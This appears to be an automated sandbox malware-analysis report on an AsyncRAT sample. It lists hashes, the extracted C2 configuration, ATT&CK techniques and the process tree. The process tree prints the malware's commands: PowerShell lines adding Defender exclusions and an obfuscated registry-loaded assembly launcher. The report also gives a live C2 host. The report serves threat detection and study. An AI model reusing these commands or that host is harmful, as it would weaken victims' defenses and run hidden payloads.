asyncrat | 60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0

Analysis

max time kernel
150s
max time network
18s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
23-07-2024 22:10

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General

Target

60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe
Size

9.5MB
MD5

ddc8d49e477960bc7601809021f33738
SHA1

f3cd85a1934d4818c3c88b0314957b1e2304e264
SHA256

60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0
SHA512

a6b73d8f3eabc4e855de927257075510c593d52d59efc121bc21d8034c57ba0251e8453c4d995cd156aea7aa69bee8ee4ccfd2091591a6c328eecd85d2bcf955
SSDEEP

49152:4hVHBlu5tvVvYlOJ0rUKrwPlt716X/hFiZPixVUg148GwjQJKGPt6:4hjC

Score

10^/10

asyncrat localhosttool's discovery evasion execution rat

Malware Config

Extracted

Family

asyncrat

Botnet

LocalHostTool's

increased-wage.gl.at.ply.gg:9707

Attributes

delay
1
install
true
install_file
Deadsvchost.exe
install_folder
%Temp%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2628 created 424	2628	powershell.EXE	5

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x001400000000549c-14.dat	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2748	powershell.exe
3000	powershell.exe
2628	powershell.EXE

Executes dropped EXE 2 IoCs

pid	Process
2792	Deadsvchost.exe
2536	Lime.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2628 set thread context of 2896	2628	powershell.EXE	39

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Lime.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 507f491c4dddda01	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2748	powershell.exe
3000	powershell.exe
2628	powershell.EXE
2628	powershell.EXE
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe
2896	dllhost.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	2628	powershell.EXE
Token: SeDebugPrivilege	2628	powershell.EXE
Token: SeDebugPrivilege	2896	dllhost.exe
Token: SeAuditPrivilege	840	svchost.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 2144 wrote to memory of 2748	2144	60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe	30
PID 2144 wrote to memory of 2748	2144	60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe	30
PID 2144 wrote to memory of 2748	2144	60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe	30
PID 2144 wrote to memory of 2792	2144	60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe	32
PID 2144 wrote to memory of 2792	2144	60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe	32
PID 2144 wrote to memory of 2792	2144	60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe	32
PID 2144 wrote to memory of 3000	2144	60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe	33
PID 2144 wrote to memory of 3000	2144	60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe	33
PID 2144 wrote to memory of 3000	2144	60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe	33
PID 2144 wrote to memory of 2536	2144	60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe	35
PID 2144 wrote to memory of 2536	2144	60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe	35
PID 2144 wrote to memory of 2536	2144	60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe	35
PID 2144 wrote to memory of 2536	2144	60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe	35
PID 1452 wrote to memory of 2628	1452	taskeng.exe	37
PID 1452 wrote to memory of 2628	1452	taskeng.exe	37
PID 1452 wrote to memory of 2628	1452	taskeng.exe	37
PID 2628 wrote to memory of 2896	2628	powershell.EXE	39
PID 2628 wrote to memory of 2896	2628	powershell.EXE	39
PID 2628 wrote to memory of 2896	2628	powershell.EXE	39
PID 2628 wrote to memory of 2896	2628	powershell.EXE	39
PID 2628 wrote to memory of 2896	2628	powershell.EXE	39
PID 2628 wrote to memory of 2896	2628	powershell.EXE	39
PID 2628 wrote to memory of 2896	2628	powershell.EXE	39
PID 2628 wrote to memory of 2896	2628	powershell.EXE	39
PID 2628 wrote to memory of 2896	2628	powershell.EXE	39
PID 2896 wrote to memory of 424	2896	dllhost.exe	5
PID 2896 wrote to memory of 476	2896	dllhost.exe	6
PID 2896 wrote to memory of 492	2896	dllhost.exe	7
PID 2896 wrote to memory of 500	2896	dllhost.exe	8
PID 2896 wrote to memory of 596	2896	dllhost.exe	9
PID 2896 wrote to memory of 676	2896	dllhost.exe	10
PID 2896 wrote to memory of 760	2896	dllhost.exe	11
PID 2896 wrote to memory of 808	2896	dllhost.exe	12
PID 2896 wrote to memory of 840	2896	dllhost.exe	13
PID 2896 wrote to memory of 964	2896	dllhost.exe	15
PID 2896 wrote to memory of 108	2896	dllhost.exe	16
PID 2896 wrote to memory of 1008	2896	dllhost.exe	17
PID 2896 wrote to memory of 1028	2896	dllhost.exe	18
PID 2896 wrote to memory of 1104	2896	dllhost.exe	19
PID 2896 wrote to memory of 1164	2896	dllhost.exe	20
PID 2896 wrote to memory of 1240	2896	dllhost.exe	21
PID 2896 wrote to memory of 1308	2896	dllhost.exe	23
PID 2896 wrote to memory of 1644	2896	dllhost.exe	24
PID 2896 wrote to memory of 280	2896	dllhost.exe	25
PID 2896 wrote to memory of 2104	2896	dllhost.exe	26
PID 2896 wrote to memory of 2380	2896	dllhost.exe	27
PID 2896 wrote to memory of 2792	2896	dllhost.exe	32
PID 2896 wrote to memory of 1452	2896	dllhost.exe	36

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:424
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e415ed46-c091-48cc-856b-95c742e3af10}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2896

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:476
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:596
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:1308
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:280
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:676
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  PID:760
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:808
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1164
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:840
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {0236B154-C7D6-40AA-936F-8E972603C572} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'F'+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](68)+''+[Char](101)+''+[Char](97)+''+'d'+'st'+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2628
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:964
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:108
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:1008
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1028
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1104
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:1644
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:2104
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:2380

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:492

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:500

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1240
- C:\Users\Admin\AppData\Local\Temp\60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe
  "C:\Users\Admin\AppData\Local\Temp\60c5753499a5e98229955174e4afbc0ed7c948692edfa864cb75669037f608a0.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Deadsvchost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2748
- - C:\ProgramData\Deadsvchost.exe
    "C:\ProgramData\Deadsvchost.exe"
    3⤵
    - Executes dropped EXE
    PID:2792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Lime.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3000
- - C:\ProgramData\Lime.exe
    "C:\ProgramData\Lime.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\Deadsvchost.exe

Filesize
64KB

MD5
1a1ac88b495650cc6238f159d7107167

SHA1
2c7855283975df2c94d77e3830959d2d3863c966

SHA256
9f9cb8c969e3620d80653d86f9dba16dd9d1e579f475a9b87b9e6bcf32301cd4

SHA512
337e3dcc14e2abdb2fe2f695287b61a4e4ccec2f741862d972b32a35729c727c750a67c02978b085555b398fc538ab06f25406b2e1642fa82f207c78c874921a

Download Submit
C:\ProgramData\Lime.exe

Filesize
151KB

MD5
b8479a23c22cf6fc456e197939284069

SHA1
b2d98cc291f16192a46f363d007e012d45c63300

SHA256
18294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f

SHA512
786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d41586c88e756d04bf8ee27e83151822

SHA1
54dafcdedf03e0e6ec489ca095b53d32aa1daa26

SHA256
fc34407b7f57aa1eecb077f949a926f491b65cb2a629a9a8c6b49de6d29fb6dd

SHA512
dac80a3edaab93bbb5b10f015d4a93f4cf3c8d69b1182679e8d1bb385929ad521a7e8580c6d189a8318c6ec21968da2203b9a9d998f19efba1925335ef915abb

Download Submit
memory/424-55-0x000007FEBDF10000-0x000007FEBDF20000-memory.dmp

Filesize
64KB

Download
memory/424-56-0x0000000037900000-0x0000000037910000-memory.dmp

Filesize
64KB

Download
memory/424-47-0x0000000000C30000-0x0000000000C57000-memory.dmp

Filesize
156KB

Download
memory/424-46-0x0000000000B70000-0x0000000000B92000-memory.dmp

Filesize
136KB

Download
memory/424-44-0x0000000000B70000-0x0000000000B92000-memory.dmp

Filesize
136KB

Download
memory/424-54-0x0000000000C30000-0x0000000000C57000-memory.dmp

Filesize
156KB

Download
memory/424-48-0x0000000000C30000-0x0000000000C57000-memory.dmp

Filesize
156KB

Download
memory/476-62-0x00000000002F0000-0x0000000000317000-memory.dmp

Filesize
156KB

Download
memory/476-68-0x00000000002F0000-0x0000000000317000-memory.dmp

Filesize
156KB

Download
memory/476-69-0x000007FEBDF10000-0x000007FEBDF20000-memory.dmp

Filesize
64KB

Download
memory/476-70-0x0000000037900000-0x0000000037910000-memory.dmp

Filesize
64KB

Download
memory/492-76-0x0000000000200000-0x0000000000227000-memory.dmp

Filesize
156KB

Download
memory/492-83-0x000007FEBDF10000-0x000007FEBDF20000-memory.dmp

Filesize
64KB

Download
memory/492-82-0x0000000000200000-0x0000000000227000-memory.dmp

Filesize
156KB

Download
memory/492-84-0x0000000037900000-0x0000000037910000-memory.dmp

Filesize
64KB

Download
memory/500-94-0x00000000002E0000-0x0000000000307000-memory.dmp

Filesize
156KB

Download
memory/2144-2-0x0000000000250000-0x0000000000284000-memory.dmp

Filesize
208KB

Download
memory/2144-1-0x0000000000CC0000-0x000000000164E000-memory.dmp

Filesize
9.6MB

Download
memory/2144-0-0x000007FEF5BC3000-0x000007FEF5BC4000-memory.dmp

Filesize
4KB

Download
memory/2628-32-0x00000000776A0000-0x00000000777BF000-memory.dmp

Filesize
1.1MB

Download
memory/2628-31-0x00000000778C0000-0x0000000077A69000-memory.dmp

Filesize
1.7MB

Download
memory/2628-30-0x0000000001590000-0x00000000015B8000-memory.dmp

Filesize
160KB

Download
memory/2748-9-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

Filesize
32KB

Download
memory/2748-8-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2748-7-0x0000000002B70000-0x0000000002BF0000-memory.dmp

Filesize
512KB

Download
memory/2792-16-0x0000000000CF0000-0x0000000000D06000-memory.dmp

Filesize
88KB

Download
memory/2896-41-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2896-33-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2896-34-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2896-35-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2896-36-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2896-38-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2896-39-0x00000000778C0000-0x0000000077A69000-memory.dmp

Filesize
1.7MB

Download
memory/2896-40-0x00000000776A0000-0x00000000777BF000-memory.dmp

Filesize
1.1MB

Download
memory/3000-22-0x000000001B510000-0x000000001B7F2000-memory.dmp

Filesize
2.9MB

Download
memory/3000-23-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download